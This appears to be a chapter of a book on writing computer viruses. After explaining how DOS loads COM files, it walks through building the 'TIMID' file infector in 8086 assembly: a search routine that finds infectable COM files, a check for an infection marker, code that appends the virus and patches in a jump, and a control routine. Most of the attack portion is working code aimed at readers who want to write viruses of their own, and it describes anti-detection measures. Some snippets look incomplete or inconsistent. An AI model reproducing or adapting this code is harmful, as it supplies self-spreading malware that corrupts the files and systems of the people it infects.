To execute a COM file, DOS must do some preparatory work before giving that program control. Most importantly, DOS controls and allocates memory usage in the computer. So first it checks to see if there is enough room in memory to load the program. If it can, DOS then allocates the memory required for the program. This step is little more than an internal housekeeping function. DOS simply records how much space it is making available for such and such a program, so it won't try to load another program on top of it later, or give memory space to the program that would conflict with another program. Such a step is necessary because more than one program may reside in memory at any given time. For example, pop-up, memory resident programs can remain in memory, and parent programs can load child programs into memory, which execute and then return control to the parent.

Next, DOS builds a block of memory 256 bytes long known as the Program Segment Prefix, or PSP. The PSP is a remnant of an older operating system known as CP/M. CP/M was popular in the late seventies and early eighties as an operating system for microcomputers based on the 8080 and Z80 microprocessors. In the CP/M world, 64 kilobytes was all the memory a computer had. The lowest 256 bytes of that memory was reserved for the operating system itself to store crucial data. For example, location 5 in memory contained a jump instruction to get to the rest of the operating system, which was stored in high memory, and its location differed according to how much memory the computer had. Thus, programs written for these machines would access the operating system functions by calling location 5 in memory. When PC-DOS came along, it imitated CP/M because CP/M was very popular, and many programs had been written to work with it. So the PSP (and whole COM file concept) became a part of DOS. The result is that a lot of the information stored in the PSP is of little use to a DOS programmer today. Some of it is useful though, as we will see a little later.

Offset Size Description
0H 2 Int 20H Instruction
2 2 Address of Last allocated segment
4 1 Reserved, should be zero
5 5 Far call to DOS function dispatcher
A 4 Int 22H vector (Terminate program)
E 4 Int 23H vector (Ctrl-C handler)
12 4 Int 24H vector (Critical error handler)
16 22 Reserved
2C 2 Segment of DOS environment
2E 34 Reserved
50 3 Int 21H / RETF instruction
53 9 Reserved
5C 16 File Control Block 1
6C 20 File Control Block 2
80 128 Default DTA (command line at startup)
100 - Beginning of COM program

Figure 2: Format of the Program Segment Prefix.

Once the PSP is built, DOS takes the COM file stored on disk and loads it into memory just above the PSP, starting at offset 100H. Once this is done, DOS is almost ready to pass control to the program. Before it does, though, it must set up the registers in the CPU to certain predetermined values. First, the segment registers must be set properly, or a COM program cannot run. Let's take a look at the how's and why's of these segment registers.

In the 8088 microprocessor, all registers are 16 bit registers. The problem is that a 16 bit register will only allow one to address 64 kilobytes of memory. If you want to use more memory, you need more bits to address it. The 8088 can address up to one megabyte of memory using a process known as segmentation. It uses two registers to create a physical memory address that is 20 bits long instead of just 16. Such a register pair consists of a segment register, which contains the most significant bits of the address, and an offset register, which contains the least significant bits. The segment register points to a 16 byte block of memory, and the offset register tells how many bytes to add to the start of the 16 byte block to locate the desired byte in memory. For example, if the ds register is set to 1275 Hex and the bx register is set to 457 Hex, then the physical 20 bit address of the byte ds:[bx] is

               1275H x  10H   =     12750H
                                   +  457H

No offset should ever have to be larger than 15, but one normally uses values up to the full 64 kilobyte range of the offset register. This leads to the possibility of writing a single physical address in several different ways. For example, setting ds = 12BA Hex and bx = 7 would produce the same physical address 12BA7 Hex as in the example above. The proper choice is simply whatever is convenient for the programmer. However, it is standard programming practice to set the segment registers and leave them alone as much as possible, using offsets to range through as much data and code as one can (64 kilobytes if necessary).

The 8088 has four segment registers, cs, ds, ss and es, which stand for Code Segment, Data Segment, Stack Segment, and Extra Segment, respectively. They each serve different purposes. The cs register specifies the 64K segment where the actual program instructions which are executed by the CPU are located. The Data Segment is used to specify a segment to put the program's data in, and the Stack Segment specifies where the program's stack is located. The es register is available as an extra segment register for the programmer's use. It might typically be used to point to the video memory segment, for writing data directly to video, etc.

COM files are designed to operate with a very simple, but limited segment structure. namely they have one segment, cs=ds=es=ss. All data is stored in the same segment as the program code itself, and the stack shares this segment. Since any given segment is 64 kilobytes long, a COM program can use at most 64 kilobytes for all of its code, data and stack. When PC's were first introduced, everybody was used to writing programs limited to 64 kilobytes, and that seemed like a lot of memory. However, today it is not uncommon to find programs that require several hundred kilobytes of code, and maybe as much data. Such programs must use a more complex segmentation scheme than the COM file format allows. The EXE file structure is designed to handle that complexity. The drawback with the EXE file is that the program code which is stored on disk must be modified significantly before it can be executed by the CPU. DOS does that at load time, and it is completely transparent to the user, but a virus that attaches to EXE files must not upset DOS during this modification process, or it won't work. A COM program doesn't require this modification process because it uses only one segment for everything. This makes it possible to store a straight binary image of the code to be executed on disk (the COM file). When it is time to run the program, DOS only needs to set up the segment registers properly and execute it.

The PSP is set up at the beginning of the segment allocated for the COM file, i.e. at offset 0. DOS picks the segment based on what free memory is available, and puts the PSP at the very start of that segment. The COM file itself is loaded at offset 100 Hex, just after the PSP. Once everything is ready, DOS transfers control to the beginning of the program by jumping to the offset 100 Hex in the code segment where the program was loaded. From there on, the program runs, and it accesses DOS occasionally, as it sees fit, to perform various I/O functions, like reading and writing to disk. When the program is done, it transfers control back to DOS, and DOS releases the memory reserved for that program and gives the user another command line prompt.

Figure 3: Memory map just before executing a COM file.

Figure 3: Memory map just before executing a COM file.

An Outline for a Virus

In order for a virus to reside in a COM file, it must get control passed to its code at some point during the execution of the program. It is conceivable that a virus could examine a COM file and determine how it might wrest control from the program at any point during its execution. Such an analysis would be very difficult, though, for the general case, and the resulting virus would be anything but simple. By far the easiest point to take control is right at the very beginning, when DOS jumps to the start of the program. At this time, the virus is completely free to use any space above the image of the COM file which was loaded into memory by DOS. Since the program itself has not yet executed, it cannot have set up data anywhere in memory, or moved the stack, so this is a very safe time for the virus to operate. At this stage, it isn't too difficult a task to make sure that the virus will not interfere with the host program to damage it or render it inoperative. Once the host program begins to execute, almost anything can happen, though, and the virus's job becomes much more difficult.

To gain control at startup time, a virus infecting a COM file must replace the first few bytes in the COM file with a jump to the virus code, which can be appended at the end of the COM file. Then, when the COM file is executed, it jumps to the virus, which goes about looking for more files to infect, and infecting them. When the virus is ready, it can return control to the host program. The problem in doing this is that the virus already replaced the first few bytes of the host program with its own code. Thus it must restore those bytes, and then jump back to offset 100 Hex, where the original program begins.

Figure 4: Replacing the first bytes in a COM file.

Figure 4: Replacing the first bytes in a COM file.

Here, then, is the basic plan for a simple viral infection of a COM file. Imagine a virus sitting in memory, which has just been activated. It goes out and infects another COM file with itself. Step by step, it might work like this:

  1. An infected COM file is loaded into memory and executed. The viral code gets control first.
  2. The virus in memory searches the disk to find a suitable COM file to infect.
  3. If a suitable file is found, the virus appends its own code to the end of the file.
  4. Next, it reads the first few bytes of the file into memory, and writes them back out to the file in a special data area within the virus' code. The new virus will need these bytes when it executes.
  5. Next the virus in memory writes a jump instruction to the beginning of the file it is infecting, which will pass control to the new virus when its host program is executed.
  6. Then the virus in memory takes the bytes which were originally the first bytes in its host, and puts them back (at offset 100H).
  7. Finally, the viral code jumps to offset 100 Hex and allows its host program to execute.

Ok. So let's develop a real virus with these specifications. We will need both a search mechanism and a copy mechanism.

The Search Mechanism

To understand how a virus searches for new files to infect on an IBM PC style computer operating under MS-DOS or PC-DOS, it is important to understand how DOS stores files and information about them. All of the information about every file on disk is stored in two areas on disk, known as the directory and the File Allocation Table, or FAT for short. The directory contains a 32 byte file descriptor record for each file. This descriptor record contains the file's name and extent, its size, date and time of creation, and the file attribute, which contains essential information for the operating system about how to handle the file. The FAT is a map of the entire disk, which simply informs the operating system which areas are occupied by which files.

Figure 5: The directory entry record format.

Figure 5: The directory entry record format.

Each disk has two FAT's, which are identical copies of each other. The second is a backup, in case the first gets corrupted. On the other hand, a disk may have many directories. One directory, known as the root directory, is present on every disk, but the root may have multiple subdirectories, nested one inside of another to form a tree structure. These subdirectories can be created, used, and removed by the user at will. Thus, the tree structure can be as simple or as complex as the user has made it.

Both the FAT and the root directory are located in a fixed area of the disk, reserved especially for them. Subdirectories are stored just like other files with the file attribute set to indicate that this file is a directory. The operating system then handles this subdirectory file in a completely different manner than other files to make it look like a directory, and not just another file. The subdirectory file simply consists of a sequence of 32 byte records describing the files in that directory. It may contain a 32 byte record with the attribute set to directory, which means that this file is a subdirectory of a subdirectory.

The DOS operating system normally controls all access to files and subdirectories. If one wants to read or write to a file, he does not write a program that locates the correct directory on the disk, reads the file descriptor records to find the right one, figure out where the file is and read it. Instead of doing all of this work, he simply gives DOS the directory and name of the file and asks it to open the file. DOS does all the grunt work. This saves a lot of time in writing and debugging programs. One simply does not have to deal with the intricate details of managing files and interfacing with the hardware.

DOS is told what to do using interrupt service routines (ISR's). Interrupt 21H is the main DOS interrupt service routine that we will use. To call an ISR, one simply sets up the required CPU registers with whatever values the ISR needs to know what to do, and calls the interrupt. For example, the code

        mov     ds,SEG FNAME    ;ds:dx points to filename
        mov     dx,OFFSET FNAME
        xor     al,al           ;al=0
        mov     ah,3DH          ;DOS function 3D
        int     21H             ;go do it 

opens a file whose name is stored in the memory location FNAME in preparation for reading it into memory. This function tells DOS to locate the file and prepare it for reading. The "int 21H" instruction transfers control to DOS and lets it do its job. When DOS is finished opening the file, control returns to the statement immediately after the "int 21H". The register ah contains the function number, which DOS uses to determine what you are asking it to do. The other registers must be set up differently, depending on what ah is, to convey more information to DOS about what it is supposed to do. In the above example, the ds:dx register pair is used to point to the memory location where the name of the file to open is stored. The register al tells DOS to open the file for reading only.

All of the various DOS functions, including how to set up all the registers, are detailed in many books on the subject. Peter Norton's Programmer's Guide to the IBM PC is one of the better ones, so if you don't have that information readily available, I suggest you get a copy. Here we will only discuss the DOS functions we need, as we need them. This will probably be enough to get by. However, if you are going to write viruses of your own, it is definitely worthwhile knowing about all of the various functions you can use, as well as the finer details of how they work and what to watch out for.

To write a routine which searches for other files to infect, we will use the DOS search functions. The people who wrote DOS knew that many programs (not just viruses) require the ability to look for files and operate on them if any of the required type are found. Thus, they incorporated a pair of searching functions into the interrupt 21H handler, called Search First and Search Next. These are some of the more complicated DOS functions, so they require the user to do a fair amount of preparatory work before he calls them. The first step is to set up an ASCIIZ string in memory to specify the directory to search, and what files to search for. This is simply an array of bytes terminated by a null byte (0). DOS can search and report on either all the files in a directory or a subset of files which the user can specify by file attribute and by specifying a file name using the wildcard characters "?" and "*", which you should be familiar with from executing commands like copy *.* a: and dir a???_100.* from the command line in DOS. (If not, a basic book on DOS will explain this syntax.) For example, the ASCIIZ string

	DB      '\system\hyper.*',0

will set up the search function to search for all files with the name hyper, and any possible extent, in the subdirectory named system. DOS might find files like hyper.c, hyper.prn, hyper.exe, etc.

After setting up this ASCIIZ string, one must set the registers ds and dx up to the segment and offset of this ASCIIZ string in memory. Register cl must be set to a file attribute mask which will tell DOS which file attributes to allow in the search, and which to exclude. The logic behind this attribute mask is somewhat complex, so you might want to study it in detail in Appendix G. Finally, to call the Search First function, one must set ah = 4E Hex.

If the search first function is successful, it returns with register al = 0, and it formats 43 bytes of data in the Disk Transfer Area, or DTA. This data provides the program doing the search with the name of the file which DOS just found, its attribute, its size and its date of creation. Some of the data reported in the DTA is also used by DOS for performing the Search Next function. If the search cannot find a matching file, DOS returns al non-zero, with no data in the DTA. Since the calling program knows the address of the DTA, it can go examine that area for the file information after DOS has stored it there.

To see how this function works more clearly, let us consider an example. Suppose we want to find all the files in the currently logged directory with an extent "COM", including hidden and system files. The assembly language code to do the Search First would look like this (assuming ds is already set up correctly):

	mov     dx,OFFSET COMFILE ; set offset of asciiz string
	mov     cl,00000110B      ; set hidden and system attributes
	mov     ah,4EH            ; search first function
        int     21H               ; call DOS
        or      al,al             ; check to see if successful
        jnz     NOFILE		  ; go handle no file found condition
FOUND:                            ; come here if file found
COMFILE		DB      '*.COM',0

If this routine executed successfully, the DTA might look like this:

03 3F 3F 3F 3F 3F 3F 3F-3F 43 4F 4D 06 18 00 00   .????????COM....
00 00 00 00 00 00 16 98-30 13 BC 62 00 00 43 4F   ........0..b..CO
4D 4D 41 4E 44 2E 43 4F-4D 00 00 00 00 00 00 00   MMAND.COM.......

when the program reaches the label FOUND. In this case the search found the file COMMAND.COM.

In comparison with the Search First function, the Search Next is easy, because all of the data has already been set up by the Search First. Just set ah = 4F hex and call DOS interrupt 21H:

      mov     ah,4FH          ;search next function
      int     21H             ;call DOS
      or      al,al           ;see if a file was found
      jnz     NOFILE          ;no, go handle no file found
FOUND2:                       ;else process the file

If another file is found the data in the DTA will be updated with the new file name, and ah will be set to zero on return. If no more matches are found, DOS will set ah to something besides zero on return. One must be careful here so the data in the DTA is not altered between the call to Search First and later calls to Search Next, because the Search Next expects the data from the last search call to be there.

Of course, the computer virus does not need to search through all of the COM files in a directory. It must find one that will be suitable to infect, and then infect it. Let us imagine a procedure FILE_OK. Given the name of a file on disk, it will determine whether that file is good to infect or not. If it is infectable, FILE_OK will return with the zero flag, z, set, otherwise it will return with the zero flag reset. We can use this flag to determine whether to continue searching for other files, or whether we should go infect the one we have found.

If our search mechanism as a whole also uses the z flag to tell the main controlling program that it has found a file to infect (z=file found, nz=no file found) then our completed search function can be written like this:

      mov     dx,OFFSET COMFILE
      mov     al,00000110B
      mov     ah,4EH          ;perform search first
      int     21H
      or      al,al           ;any possibilities found?
      jnz     FF_DONE         ;no - exit with z reset
      call    FILE_OK         ;yes, go check if we can infect it
      jz      FF_DONE         ;yes - exit with z set
      mov     ah,4FH          ;no - search for another file
      int     21H
      jmp     FF_LOOP         ;go back up and see what happened
      ret                     ;return to main virus control routine
Figure 6: Logic of the file search routine.

Figure 6: Logic of the file search routine.

Study this search routine carefully. It is important to understand if you want to write computer viruses, and more generally, it is useful in a wide variety of programs of all kinds.

Of course, for our virus to work correctly, we have to write the FILE_OK function which determines whether a file should be infected or left alone. This function is particularly important to the success or failure of the virus, because it tells the virus when and where to move. If it tells the virus to infect a program which does not have room for the virus, then the newly infected program may be inadvertently ruined. Or if FILE_OK cannot tell whether a program has already been infected, it will tell the virus to go ahead and infect the same file again and again and again. Then the file will grow larger and larger, until there is no more room for an infection. For example, the routine

      xor     al,al

simply sets the z flag and returns. If our search routine used this subroutine, it would always stop and say that the first COM file it found was the one to infect. The result would be that the first COM program in a directory would be the only program that would ever get infected. It would just keep getting infected again and again, and growing in size, until it exceeded its size limit and crashed. So although the above example of FILE_OK might enable the virus to infect at least one file, it would not work well enough for the virus to be able to start jumping from file to file.

A good FILE_OK routine must perform two checks: (1) it must check a file to see if it is too long to attach the virus to, and (2) it must check to see if the virus is already there. If the file is short enough, and the virus is not present, FILE_OK should return a "go ahead" to the search routine.

On entry to FILE_OK, the search function has set up the DTA with 43 bytes of information about the file to check, including its size and its name. Suppose that we have defined two labels, FSIZE and FNAME in the DTA to access the file size and file name respectively. Then checking the file size to see if the virus will fit is a simple matter. Since the file size of a COM file is always less than 64 kilobytes, we may load the size of the file we want to infect into the ax register:

      mov     ax,WORD PTR [FSIZE]

Next we add the number of bytes the virus will have to add to this file, plus 100H. The 100H is needed because DOS will also allocate room for the PSP, and load the program file at offset 100H. To determine the number of bytes the virus will need automatically, we simply put a label VIRUS at the start of the virus code we are writing and a label END_VIRUS at the end of it, and take the difference. If we add these bytes to ax, and ax overflows, then the file which the search routine has found is too large to permit a successful infection. An overflow will cause the carry flag c to be set, so the file size check will look something like this:

      mov     ax,WORD PTR [FSIZE]
      add     ax,OFFSET END_VIRUS - OFFSET VIRUS + 100H
      jc      BAD_FILE
      xor     al,al
      mov     al,1
      or      al,al

This routine will suffice to prevent the virus from infecting any file that is too large.

The next problem that the FILE_OK routine must deal with is how to avoid infecting a file that has already been infected. This can only be accomplished if the virus has some understanding of how it goes about infecting a file. In the TIMID virus, we have decided to replace the first few bytes of the host program with a jump to the viral code. Thus, the FILE_OK procedure can go out and read the file which is a candidate for infection to determine whether its first instruction is a jump. If it isn't, then the virus obviously has not infected that file yet. There are two kinds of jump instructions which might be encountered in a COM file, known as a near jump and a short jump. The virus we create here will always use a near jump to gain control when the program starts. Since a short jump only has a range of 128 bytes, we could not use it to infect a COM file larger than 128 bytes. The near jump allows a range of 64 kilobytes. Thus it can always be used to jump from the beginning of a COM file to the virus, at the end of the program, no matter how big the COM file is (as long as it is really a valid COM file). A near jump is represented in machine language with the byte E9 Hex, followed by two bytes which tell the CPU how far to jump. Thus, our first test to see if infection has already occurred is to check to see if the first byte in the file is E9 Hex. If it is anything else, the virus is clear to go ahead and infect.

Looking for E9 Hex is not enough though. Many COM files are designed so the first instruction is a jump to begin with. Thus the virus may encounter files which start with an E9 Hex even though they have never been infected. The virus cannot assume that a file has been infected just because it starts with an E9. It must go farther. It must have a way of telling whether a file has been infected even when it does start with E9. If we do not incorporate this extra step into the FILE_OK routine, the virus will pass by many good COM files which it could infect because it thinks they have already been infected. While failure to incorporate such a feature into FILE_OK will not cause the virus to fail, it will limit its functionality.

One way to make this test simple and yet very reliable is to change a couple more bytes than necessary at the beginning of the host program. The near jump will require three bytes, so we might take two more, and encode them in a unique way so the virus can be pretty sure the file is infected if those bytes are properly encoded. The simplest scheme is to just set them to some fixed value. We'll use the two characters "VI" here. Thus, when a file begins with a near jump followed by the bytes "V"=56H and "I"=49H, we can be almost positive that the virus is there, and otherwise it is not. Granted, once in a great while the virus will discover a COM file which is set up with a jump followed by "VI" even though it hasn't been infected. The chances of this occurring are so small, though, that it will be no great loss if the virus fails to infect this rare one file in a million. It will infect everything else.

To read the first five bytes of the file, we open it with DOS Interrupt 21H function 3D Hex. This function requires us to set ds:dx to point to the file name (FNAME) and to specify the access rights which we desire in the al register. In the FILE_OK routine the virus only needs to read the file. Yet there we will try to open it with read/write access, rather than read-only access. If the file attribute is set to read-only, an attempt to open in read/write mode will result in an error (which DOS signals by setting the carry flag on return from INT 21H). This will allow the virus to detect read-only files and avoid them, since the virus must write to a file to infect it. It is much better to find out that the file is read-only here, in the search routine, than to assume the file is good to infect and then have the virus fail when it actually attempts infection. Thus, when opening the file, we set al = 2 to tell DOS to open it in read/write mode. If DOS opens the file successfully, it returns a file handle in ax. This is just a number which DOS uses to refer to the file in all future requests. The code to open the file looks like this:

      mov     ax,3D02H
      mov     dx,OFFSET FNAME
      int     21H
      jc      BAD_FILE
Figure 7: The file handle and file pointer.

Figure 7: The file handle and file pointer.

Once the file is open, the virus may perform the actual read operation, DOS function 3F Hex. To read a file, one must set bx equal to the file handle number and cx to the number of bytes to read from the file. Also ds:dx must be set to the location in memory where the data read from the file should be stored (which we will call START_IMAGE). DOS stores an internal file pointer for each open file which keeps track of where in the file DOS is going to do its reading and writing from. The file pointer is just a four byte long integer, which specifies which byte in the selected file a read or write operation refers to. This file pointer starts out pointing to the first byte in the file (file pointer = 0), and it is automatically advanced by DOS as the file is read from or written to. Since it starts at the beginning of the file, and the FILE_OK procedure must read the first five bytes of the file, there is no need to touch the file pointer right now. However, you should be aware that it is there, hidden away by DOS. It is an essential part of any file reading and writing we may want to do. When it comes time for the virus to infect the file, it will have to modify this file pointer to grab a few bytes here and put them there, etc. Doing that is much faster (and hence, less noticeable) than reading a whole file into memory, manipulating it in memory, and then writing it back to disk. For now, though, the actual reading of the file is fairly simple. It looks like this:

      mov     bx,ax                   ;put handle in bx
      mov     cx,5                    ;prepare to read 5 bytes
      mov     dx,OFFSET START_IMAGE   ;to START_IMAGE
      mov     ah,3FH
      int     21H                     ;go do it

We will not worry about the possibility of an error in reading five bytes here. The only possible error is that the file is not long enough to read five bytes, and we are pretty safe in assuming that most COM files will have more than four bytes in them.

Finally, to close the file, we use DOS function 3E Hex and put the file handle in bx. Putting it all together, the FILE_OK procedure looks like this:

       mov     dx,OFFSET FNAME     ;first open the file
       mov     ax,3D02H            ;r/w access open file
       int     21H
       jc      FOK_NZEND           ;error opening file - file can't be used

       mov     bx,ax               ;put file handle in bx
       push    bx                  ;and save it on the stack
       mov     cx,5                ;read 5 bytes at the start of the program
       mov     dx,OFFSET START_IMAGE       ;and store them here
       mov     ah,3FH              ;DOS read function
       int     21H

       pop     bx                  ;restore the file handle
       mov     ah,3EH
       int     21H                 ;and close the file

       mov     ax,WORD PTR [FSIZE] ;get the file size of the host
       add     ax,OFFSET ENDVIRUS - OFFSET VIRUS   ;and add size of virus to it
       jc      FOK_NZEND           ;c set if ax overflows (size > 64k)
       cmp     BYTE PTR [START_IMAGE],0E9H   ;size ok-is first byte a near jmp?
       jnz     FOK_ZEND            ;not near jmp, file must be ok, exit with z
       cmp     WORD PTR [START_IMAGE+3],4956H   ;ok, is 'VI' in positions 3 & 4?
       jnz     FOK_ZEND            ;no, file can be infected, return with Z set
       mov     al,1                ;we'd better not infect this file
       or      al,al               ;so return with z reset
       xor     al,al               ;ok to infect, return with z set

This completes our discussion of the search mechanism for the virus.

The Copy Mechanism

After the virus finds a file to infect, it must carry out the infection process. We have already briefly discussed how that is to be accomplished, but now let's write the code that will actually do it. We'll put all of this code into a routine called INFECT.

The code for INFECT is quite straightforward. First the virus opens the file whose name is stored at FNAME in read/write mode, just as it did when searching for a file, and it stores the file handle in a data area called HANDLE. This time, however we want to go to the end of the file and store the virus there. To do so, we first move the file pointer using DOS function 42H. In calling function 42H, the register bx must be set up with the file handle number, and cx:dx must contain a 32 bit long integer telling where to move the file pointer to. There are three different ways this function can be used, as specified by the contents of the al register. If al=0, the file pointer is set relative to the beginning of the file. If al=1, it is incremented relative to the current location, and if al=2, cx:dx is used as the offset from the end of the file. Since the first thing the virus must do is place its code at the end of the COM file it is attacking, it sets the file pointer to the end of the file. This is easy. Set cx:dx=0, al=2 and call function 42H:

      xor     cx,cx
      mov     dx,cx
      mov     bx,WORD PTR [HANDLE]
      mov     ax,4202H
      int     21H

With the file pointer in the right location, the virus can now write itself out to disk at the end of this file. To do so, one simply uses the DOS write function, 40 Hex. To use function 40H one must set ds:dx to the location in memory where the data is stored that is going to be written to disk. In this case that is the start of the virus. Next, set cx to the number of bytes to write and bx to the file handle.

There is one problem here. Since the virus is going to be attaching itself to COM files of all different sizes, the address of the start of the virus code is not at some fixed location in memory. Every file it is attached to will put it somewhere else in memory. So the virus has to be smart enough to figure out where it is. To do this we will employ a trick in the main control routine, and store the offset of the viral code in a memory location named VIR_START. Here we assume that this memory location has already been properly initialized. Then the code to write the virus to the end of the file it is attacking will simply look like this:

      mov     cx,OFFSET FINAL - OFFSET VIRUS
      mov     bx,WORD PTR [HANDLE]
      mov     dx,WORD PTR [VIR_START]
      mov     ah,40H
      int     21H

where VIRUS is a label identifying the start of the viral code and FINAL is a label identifying the end of the code. OFFSET FINAL - OFFSET VIRUS is independent of the location of the virus in memory.

Now, with the main body of viral code appended to the end of the COM file under attack, the virus must do some clean-up work. First, it must move the first five bytes of the COM file to a storage area in the viral code. Then it must put a jump instruction plus the code letters 'VI' at the start of the COM file. Since we have already read the first five bytes of the COM file in the search routine, they are sitting ready and waiting for action at START_IMAGE. We need only write them out to disk in the proper location. Note that there must be two separate areas in the virus to store five bytes of startup code. The active virus must have the data area START_IMAGE to store data from files it wants to infect, but it must also have another area, which we'll call START_CODE. This contains the first five bytes of the file it is actually attached to. Without START_CODE, the active virus will not be able to transfer control to the host program it is attached to when it is done executing.



To write the first five bytes of the file under attack, the virus must take the five bytes at START_IMAGE, and store them where START_CODE is located on disk. First, the virus sets the file pointer to the location of START_CODE on disk. To find that location, one must take the original file size (stored at FSIZE by the search routine), and add OFFSET START_CODE - OFFSET VIRUS to it, moving the file pointer with respect to the beginning of the file:

      xor     cx,cx
      mov     dx,WORD PTR [FSIZE]
      mov     bx,WORD PTR [HANDLE]
      mov     ax,4200H
      int     21H

Next, the virus writes the five bytes at START_IMAGE out to the file:

      mov     cx,5
      mov     bx,WORD PTR [HANDLE]
      mov     dx,OFFSET START_IMAGE
      mov     ah,40H
      int     21H

The final step in infecting a file is to set up the first five bytes of the file with a jump to the beginning of the virus code, along with the identification letters "VI". To do this, first position the file pointer to the beginning of the file:

      xor     cx,cx
      mov     dx,cx
      mov     bx,WORD PTR [HANDLE]
      mov     ax,4200H
      int     21H

Next, we must set up a data area in memory with the correct information to write to the beginning of the file. START_IMAGE is a good place to set up these bytes since the data there is no longer needed for anything. The first byte should be a near jump instruction, E9 Hex:

      mov     BYTE PTR [START_IMAGE],0E9H

The next two bytes should be a word to tell the CPU how many bytes to jump forward. This byte needs to be the original file size of the host program, plus the number of bytes in the virus which are before the start of the executable code (we will put some data there). We must also subtract 3 from this number because the relative jump is always referenced to the current instruction pointer, which will be pointing to 103H when the jump is actually executed. Thus, the two bytes telling the program where to jump are set up by

      mov     ax,WORD PTR [FSIZE]
      mov     WORD PTR [START_IMAGE+1],ax

Finally set up the ID bytes 'VI' in our five byte data area,

       mov     WORD PTR [START_IMAGE+3],4956H   ;'VI'

write the data to the start of the file, using the DOS write function,

      mov     cx,5
      mov     dx,OFFSET START_IMAGE
      mov     bx,WORD PTR [HANDLE]
      mov     ah,40H
      int     21H

and then close the file using DOS,

      mov     ah,3EH
      mov     bx,WORD PTR [HANDLE]
      int     21H

This completes the copy mechanism.

Data Storage for the Virus

One problem we must face in creating this virus is how to locate data. Since all jumps and calls in a COM file are relative, we needn't do anything fancy to account for the fact that the virus must relocate itself as it copies itself from program to program. The jumps and calls relocate themselves automatically. Handling the data is not as easy. A data reference like

      mov     bx,WORD PTR [HANDLE]
Figure 9: Absolute data address catastrophe.

Figure 9: Absolute data address catastrophe.

refers to an absolute offset in the program segment labeled HANDLE. We cannot just define a word in memory using an assembler directive like

HANDLE DW      0

and then assemble the virus and run it. If we do that, it will work right the first time. Once it has attached itself to a new program, though, all the memory addresses will have changed, and the virus will be in big trouble. It will either bomb out itself, or cause its host program to bomb.

There are two ways to avoid catastrophe here. Firstly, one could put all of the data together in one place, and write the program to dynamically determine where the data is and store that value in a register (e.g. si) to access it dynamically, like this:

      mov     bx,[si+HANDLE_OFS]

where HANDLE_OFS is the offset of the variable HANDLE from the start of the data area.

Alternatively, we could put all of the data in a fixed location in the code segment, provided we're sure that neither the virus nor the host will ever occupy that space. The only safe place to do this is at the very end of the segment, where the stack resides. Since the virus takes control of the CPU first when the COM file is executed, it will control the stack also. Thus we can determine exactly what the stack is doing, and stay out of its way. This is the method we choose. When the virus first gains control, the stack pointer, sp, is set to FFFF Hex. If it calls a subroutine, the address directly after the call is placed on the stack, in the bytes FFFF Hex and FFFE Hex in the program's segment, and the stack pointer is decremented by two, to FFFD Hex. When the CPU executes the return instruction in the subroutine, it uses the two bytes stored by the call to determine where to return to, and increments the stack pointer by two. Likewise, executing a push instruction decrements the stack by two bytes and stores the desired register at the location of the stack pointer. The pop instruction reverses this process. The int instruction requires five bytes of stack space, and this includes calls to hardware interrupt handlers, which may be accessed at any time in the program without warning, one on top of the other.

The data area for the virus can be located just below the memory required for the stack. The exact amount of stack space required is rather difficult to determine, but 80 bytes will be more than sufficient. The data will go right below these 80 bytes, and in this manner its location may be fixed. One must simply take account of the space it takes up when determining the maximum size of a COM file in the FILE_OK routine.

Of course, one cannot put initialized variables on the stack. They must be stored with the program on disk. To store them near the end of the program segment would require the virus to expand the file size of every file to near the 64K limit. Such a drastic change in file sizes would quickly tip the user off that his system has been infected! Instead, initialized variables should be stored with the executable virus code. This strategy will keep the number of bytes which must be added to the host to a minimum. (Thus it is a worthwhile anti-detection measure.) The drawback is that such variables must then be located dynamically by the virus at run time.

Fortunately, we have only one piece of data which must be pre-initialized, the string used by DOS in the search routine to locate COM files, which we called simply "COMFILE". If you take a look back to the search routine, you'll notice that we already took the relocatability of this piece of data into account when we retrieved it using the instructions

      mov     dx,WORD PTR [VIR_START]

instead of simply

      mov     dx,OFFSET COMFILE

The Master Control Routine

Now we have all the tools to write the TIMID virus. All that is necessary is a master control routine to pull everything together. This master routine must:

  1. Dynamically determine the location (offset) of the virus in memory.
  2. Call the search routine to find a new program to infect.
  3. Infect the program located by the search routine, if it found one.
  4. Return control to the host program.

To determine the location of the virus in memory, we use a simple trick. The first instruction in the master control routine will look like this:

COMFILE       DB      '*.COM',0
              call    GET_START

The call pushes the absolute address of GET_START onto the stack at FFFC Hex (since this is the first instruction of the virus, and the first instruction to use the stack). At that location, we overlay the stack with a word variable called VIR_START. We then subtract the difference in offsets between GET_START and the first byte of the virus, labeled VIRUS. This simple programming trick gets the absolute offset of the first byte of the virus in the program segment, and stores it in an easily accessible variable.

Next comes an important anti-detection step: The master control routine moves the Disk Transfer Area (DTA) to the data area for the virus using DOS function 1A Hex,

      mov     dx,OFFSET DTA
      mov     ah,1AH
      int     21H

This move is necessary because the search routine will modify data in the DTA. When a COM file starts up, the DTA is set to a default value of an offset of 80 H in the program segment. The problem is that if the host program requires command line parameters, they are stored for the program at this same location. If the DTA were not changed temporarily while the virus was executing, the search routine would overwrite any command line parameters before the host program had a chance to access them. That would cause any infected COM program which required a command line parameter to bomb. The virus would execute just fine, and host programs that required no parameters would run fine, but the user could spot trouble with some programs. Temporarily moving the DTA eliminates this problem.

With the DTA moved, the main control routine can safely call the search and copy routines:

      call    FIND_FILE       ;try to find a file to infect
      jnz     EXIT_VIRUS      ;jump if no file was found
      call    INFECT          ;else infect the file

Finally, the master control routine must return control to the host program. This involves three steps: Firstly, restore the DTA to its initial value, offset 80H,

      mov     dx,80H
      mov     ah,1AH
      int     21H

Next, move the first five bytes of the original host program from the data area START_CODE where they are stored to the start of the host program at 100H,

Finally, the virus must transfer control to the host program at 100H. This requires a trick, since one cannot simply say "jmp 100H" because such a jump is relative, so that instruction won't be jumping to 100H as soon as the virus moves to another file, and that spells disaster. One instruction which does transfer control to an absolute offset is the return from a call. Since we did a call right at the start of the master control routine, and we haven't executed the corresponding return yet, executing the ret instruction will both transfer control to the host, and it will clear the stack. Of course, the return address must be set to 100H to transfer control to the host, and not somewhere else. That return address is just the word at VIR_START. So, to transfer control to the host, we write

      mov     WORD PTR [VIR_START],100H

Bingo, the host program takes over and runs as if the virus had never been there.

As written, this master control routine is a little dangerous, because it will make the virus completely invisible to the user when he runs a program... so it could get away. It seems wise to tame the beast a bit when we are just starting. So, after the call to INFECT, let's just put a few extra lines in to display the name of the file which the virus just infected:

      call    INFECT
      mov     dx,OFFSET FNAME         ;dx points to FNAME
      mov     WORD PTR [HANDLE],24H   ;'$' string terminator
      mov     ah,9                    ;DOS string write fctn
      int     21H

